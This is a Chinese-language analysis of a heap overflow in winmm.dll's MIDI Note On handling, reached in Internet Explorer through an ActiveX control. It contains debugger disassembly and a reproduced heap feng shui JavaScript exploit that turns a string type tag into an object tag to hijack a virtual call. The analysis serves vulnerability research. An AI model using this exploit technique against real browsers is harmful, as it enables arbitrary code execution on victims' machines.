0x00 分析
使用windbg目录下的gflag.exe 开启堆页,以便后续的调试使用:
C:\Program Files\Debugging Tools for Windows (x86)> gflags.exe -i IExplore.exe +hpa
Current Registry Settings for IExplore.exe executable are: 02000000
hpa - Enable page heap
使用od attach ie,打开poc.html
选择加载activeX控件。程序断点断在 mov al, byte ptr [esi]处
查看esi中的数据,可以发现esi中的数据为0,由于设置了页堆,取值时会触发异常。
按alt + e 查看加载的dll文件找到断点处所在的dll
使用ida加载winmm.dll
定位到0x76b2d224所在的函数,按f5查看c源代码:
通过阅读源代码了解到该漏洞函数的变量传递途径,对变量下条件日志断点,在od中动态运行研究,第一个断点是函数入口点地址。
按f9运行直到断下
可以发现v2和wparam是不变的参数,而v9是逐渐递增的计数器,v11和v13是相等的,最后,v21取了v13的最后一个字节的值9f
由MIDI的格式可知,9f代表的是Note On打开音符事件,由此可知v13,v11应该是包含了参数的音轨事件。因此在取9f的v11处的地址0x76b2d0b5处下条件断点,输入 [ebx+eax] == “0x007db29f”,即在取到音轨事件时断下。
单步执行:
76B2D0B2 >|. 8B45 08 |mov eax, dword ptr [ebp+8]
76B2D0B5 >|. 8B0C03 |mov ecx, dword ptr [ebx+eax]
76B2D0B8 |. 83C3 04 |add ebx, 4
76B2D0BB |. 8BC1 |mov eax, ecx
76B2D0BD |. 895E 24 |mov dword ptr [esi+24], ebx
76B2D0C0 |. C1E8 18 |shr eax, 18
76B2D0C3 |. 81E1 FFFFFF00 |and ecx, 0FFFFFF
76B2D0C9 |. 33DB |xor ebx, ebx
76B2D0CB |. 395D F4 |cmp dword ptr [ebp-C], ebx
76B2D0CE |. 8845 0B |mov byte ptr [ebp+B], al
76B2D0D1 >|. 894D F8 |mov dword ptr [ebp-8], ecx
76B2D0D4 |. 74 2A |je short 76B2D100
76B2D0D6 |. A8 40 |test al, 40
76B2D0D8 |. 74 26 |je short 76B2D100
76B2D0DA |. 8B45 F0 |mov eax, dword ptr [ebp-10]
76B2D0DD |. 53 |push ebx
76B2D0DE |. 56 |push esi
76B2D0DF |. 8946 1C |mov dword ptr [esi+1C], eax
76B2D0E2 |. FF77 4C |push dword ptr [edi+4C]
76B2D0E5 |. 0FB747 4A |movzx eax, word ptr [edi+4A]
76B2D0E9 |. 68 CA030000 |push 3CA
76B2D0EE |. FF77 04 |push dword ptr [edi+4]
76B2D0F1 |. 50 |push eax
76B2D0F2 |. FF77 44 |push dword ptr [edi+44]
76B2D0F5 |. E8 9F83FEFF |call DriverCallback
76B2D0FA |. 8A45 0B |mov al, byte ptr [ebp+B]
76B2D0FD |. 8B4D F8 |mov ecx, dword ptr [ebp-8]
76B2D100 |> 24 BF |and al, 0BF
76B2D102 |. 0FB6D0 |movzx edx, al
76B2D105 |. 2BD3 |sub edx, ebx
76B2D107 |. 0F84 A9000000 |je 76B2D1B6
76B2D10D |. 4A |dec edx ; Switch (cases 1..80)
76B2D10E |. 0F84 91000000 |je 76B2D1A5
76B2D114 |. 83EA 7F |sub edx, 7F
76B2D117 |. 74 16 |je short 76B2D12F
76B2D119 |. 84C0 |test al, al ; Default case of switch 76B2D10D
76B2D11B |. 0F89 55010000 |jns 76B2D276
76B2D121 |. 83C1 03 |add ecx, 3
76B2D124 |. 83E1 FC |and ecx, FFFFFFFC
76B2D127 |. 014E 24 |add dword ptr [esi+24], ecx
76B2D12A |. E9 47010000 |jmp 76B2D276
76B2D12F |> 83C1 03 |add ecx, 3 ; Case 80 of switch 76B2D10D
76B2D132 |. 83E1 FC |and ecx, FFFFFFFC
76B2D135 |. 014E 24 |add dword ptr [esi+24], ecx
76B2D138 |. 33C9 |xor ecx, ecx
76B2D13A |. 41 |inc ecx
76B2D13B |. 837D EC FF |cmp dword ptr [ebp-14], -1
76B2D13F |. 8BC1 |mov eax, ecx
76B2D141 |. 75 06 |jnz short 76B2D149
76B2D143 |. 8B87 8C000000 |mov eax, dword ptr [edi+8C]
76B2D149 |> 8B5E 18 |mov ebx, dword ptr [esi+18]
76B2D14C |. 83A7 88000000>|and dword ptr [edi+88], 0
76B2D153 |. 834F 08 20 |or dword ptr [edi+8], 20
76B2D157 |. 85C0 |test eax, eax
76B2D159 |. 894F 34 |mov dword ptr [edi+34], ecx
76B2D15C |. 74 31 |je short 76B2D18F
76B2D15E |. 8945 08 |mov dword ptr [ebp+8], eax
76B2D161 |> 8B73 04 |/mov esi, dword ptr [ebx+4]
76B2D164 |. 8D46 40 ||lea eax, dword ptr [esi+40]
76B2D167 |. 8943 04 ||mov dword ptr [ebx+4], eax
76B2D16A |. FF76 20 ||push dword ptr [esi+20]
76B2D16D |. 57 ||push edi
76B2D16E |. E8 84F6FFFF ||call 76B2C7F7
76B2D173 |. 85C0 ||test eax, eax
76B2D175 |. 74 13 ||je short 76B2D18A
76B2D177 |. 6A 40 ||push 40
76B2D179 |. 56 ||push esi
76B2D17A |. 50 ||push eax
76B2D17B |. E8 39C0FFFF ||call midiOutLongMsg
76B2D180 |. 85C0 ||test eax, eax
76B2D182 |. 75 06 ||jnz short 76B2D18A
76B2D184 |. FF87 88000000 ||inc dword ptr [edi+88]
76B2D18A |> FF4D 08 ||dec dword ptr [ebp+8]
76B2D18D |.^ 75 D2 |\jnz short 76B2D161
76B2D18F |> 83BF 88000000>|cmp dword ptr [edi+88], 0
76B2D196 |. 75 04 |jnz short 76B2D19C
76B2D198 |. 8367 34 00 |and dword ptr [edi+34], 0
76B2D19C |> 8367 08 DF |and dword ptr [edi+8], FFFFFFDF
76B2D1A0 |. E9 D1000000 |jmp 76B2D276
76B2D1A5 |> FF77 7C |push dword ptr [edi+7C] ; Case 1 of switch 76B2D10D
76B2D1A8 |. 894F 30 |mov dword ptr [edi+30], ecx
76B2D1AB |. 57 |push edi
76B2D1AC |. E8 73F8FFFF |call 76B2CA24
76B2D1B1 |. E9 C0000000 |jmp 76B2D276
76B2D1B6 |> 395D F4 |cmp dword ptr [ebp-C], ebx
76B2D1B9 |. 8BB7 84000000 |mov esi, dword ptr [edi+84]
76B2D1BF |. 0F84 B1000000 |je 76B2D276
76B2D1C5 |. 84C9 |test cl, cl
76B2D1C7 |. 8AC1 |mov al, cl
76B2D1C9 |. 8BD9 |mov ebx, ecx
76B2D1CB |. 78 16 |js short 76B2D1E3
76B2D1CD |. 8A47 54 |mov al, byte ptr [edi+54]
76B2D1D0 |. 884D 0B |mov byte ptr [ebp+B], cl
76B2D1D3 |. 0FB6D0 |movzx edx, al
76B2D1D6 |. C1E1 08 |shl ecx, 8
76B2D1D9 |. C1EB 08 |shr ebx, 8
76B2D1DC |. 0BCA |or ecx, edx
76B2D1DE |. 894D F8 |mov dword ptr [ebp-8], ecx
76B2D1E1 |. EB 0E |jmp short 76B2D1F1
76B2D1E3 |> 8BD1 |mov edx, ecx
76B2D1E5 |. C1EA 08 |shr edx, 8
76B2D1E8 |. 884F 54 |mov byte ptr [edi+54], cl
76B2D1EB |. 8855 0B |mov byte ptr [ebp+B], dl
76B2D1EE |. C1EB 10 |shr ebx, 10
76B2D1F1 |> 8AD0 |mov dl, al ;将低位字节给dl
76B2D1F3 >|. 80E2 F0 |and dl, 0F0 ;清空0x9n 的n
76B2D1F6 |. 80FA 90 |cmp dl, 90 ;判断是否为note On 事件
76B2D1F9 |. 8855 FF |mov byte ptr [ebp-1], dl
76B2D1FC |. 74 05 |je short 76B2D203 ;如果是则跳转
76B2D1FE |. 80FA 80 |cmp dl, 80 ;判断是否为note Off事件
76B2D201 |. 75 5C |jnz short 76B2D25F
76B2D203 |> 0FB655 0B |movzx edx, byte ptr [ebp+B]
76B2D207 |. 83E0 0F |and eax, 0F
76B2D20A |. C1E0 07 |shl eax, 7
76B2D20D |. 03C2 |add eax, edx
76B2D20F |. 99 |cdq
76B2D210 |. 2BC2 |sub eax, edx
76B2D212 |. D1F8 |sar eax, 1
76B2D214 |. 807D FF 80 |cmp byte ptr [ebp-1], 80
76B2D218 |. 74 2A |je short 76B2D244
76B2D21A |. 84DB |test bl, bl
76B2D21C |. 74 26 |je short 76B2D244
76B2D21E |. 03F0 |add esi, eax
76B2D220 |. F645 0B 01 |test byte ptr [ebp+B], 1
76B2D224 |. 8A06 |mov al, byte ptr [esi] ;崩溃点
76B2D226 |. 8AD0 |mov dl, al
76B2D228 |. 74 0C |je short 76B2D236
76B2D22A |. 80E2 F0 |and dl, 0F0
76B2D22D |. 80FA F0 |cmp dl, 0F0
76B2D230 |. 74 2D |je short 76B2D25F
76B2D232 |. 04 10 |add al, 10
76B2D234 |. EB 0A |jmp short 76B2D240
76B2D236 |> 80E2 0F |and dl, 0F
76B2D239 |. 80FA 0F |cmp dl, 0F
76B2D23C |. 74 21 |je short 76B2D25F
76B2D23E |. FEC0 |inc al ;处理完Noteon事件读取的字节加1
76B2D240 |> 8806 |mov byte ptr [esi], al
76B2D242 |. EB 1B |jmp short 76B2D25F
76B2D244 |> F645 0B 01 |test byte ptr [ebp+B], 1
76B2D248 |. 8D1430 |lea edx, dword ptr [eax+esi]
76B2D24B |. 8A02 |mov al, byte ptr [edx]
76B2D24D |. 74 08 |je short 76B2D257
76B2D24F |. A8 F0 |test al, 0F0
76B2D251 |. 74 0C |je short 76B2D25F
76B2D253 |. 2C 10 |sub al, 10
76B2D255 |. EB 06 |jmp short 76B2D25D
76B2D257 |> A8 0F |test al, 0F
76B2D259 |. 74 04 |je short 76B2D25F
76B2D25B |. FEC8 |dec al
76B2D25D |> 8802 |mov byte ptr [edx], al
单步运行至崩溃点可以发现eax经过运算大小位0x419,esi的地址为0x07eb5019,
回过头看ida,可以知道崩溃点所在函数被该函数调用
可以发现v6(esi)是引起崩溃的esi的来源,看到上面v6的值来自函数dword_76b3164f,于是进入该函数:
可以发现函数申请了0x400的堆空间。
而我们的程序计算得到的偏移量为0x419,于是导致访问违例。
0x01 漏洞利用
现在我们已经可以控制偏移量,但是,如何执行任意代码?接下来分析一下exploit.html
C:\Program Files\Debugging Tools for Windows (x86)>gflags.exe -i IExplore.exe -h
pa
Current Registry Settings for IExplore.exe executable are: 00000000,运行exploit?
发现…没有出现media?
查看源代码,发现路径不对,修改路径:
重新运行就好了。0.0
分析下exp
var heap = new heapLib.ie();
var selob = document.createElement("select")
selob.w0 = unescape("%u0c0c%u0c0c")
selob.w1 = alert
selob.w2 = alert
selob.w3 = alert
selob.w4 = alert
selob.w5 = alert
selob.w6 = alert
selob.w7 = alert
selob.w8 = alert
selob.w9 = alert
selob.w10 = alert
selob.w11 = alert
selob.w12 = alert
selob.w13 = alert
selob.w14 = alert
selob.w15 = alert
selob.w16 = alert
selob.w17 = alert
selob.w18 = alert
selob.w19 = alert
selob.w20 = alert
selob.w21 = alert
selob.w22 = alert
selob.w23 = alert
selob.w24 = alert
selob.w25 = alert
selob.w26 = alert
selob.w27 = alert
selob.w28 = alert
selob.w29 = alert
selob.w30 = alert
selob.w31 = alert
selob.w32 = alert
selob.w33 = alert
selob.w34 = alert
selob.w35 = alert
selob.w36 = alert
selob.w37 = alert
selob.w38 = alert
selob.w39 = alert
selob.w40 = alert
selob.w41 = alert
selob.w42 = alert
selob.w43 = alert
selob.w44 = alert
selob.w45 = alert
selob.w46 = alert
selob.w47 = alert
selob.w48 = alert
selob.w49 = alert
selob.w50 = alert
selob.w51 = alert
selob.w52 = alert
selob.w53 = alert
selob.w54 = alert
selob.w55 = alert
var clones=new Array(1000);
function feng_shui() {
heap.gc();
var i = 0;
while (i < 1000) {
clones[i] = selob.cloneNode(true)
i = i + 1;
}
var j = 0;
while (j < 1000) {
delete clones[j];
CollectGarbage();
j = j + 2;
}
}
feng_shui();
function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].w0) == "string") {
} else {
clones[k].w0('come on!');
}
k = k - 2;
}
feng_shui();
document.audio.Play();
}
发现w0是一个字符串,内容为0x0c0x0c的代码。其他都是object类型的。string类型的类型值为0x08,object类型的值为0x09。而每个对象的头4个字节都是虚表的指针,我们可以通过控制虚表的指针来控制程序达成任意代码执行。
因为NoteOn事件会导致读取的字节加一,使得0x08加一变成0x09,当执行clones[k].w0(‘come on!’);时,就会将字符串数据当成虚表指针执行。
可以看到内存中的数据,w0-w63的数据
溢出0x19字节
可以看到溢出后偏移正好读取后面的数组的0x19字节也就时string头类型值 0x08。
加一变成0x09,也就是object类型的值。
调用虚函数指针。达成任意代码执行!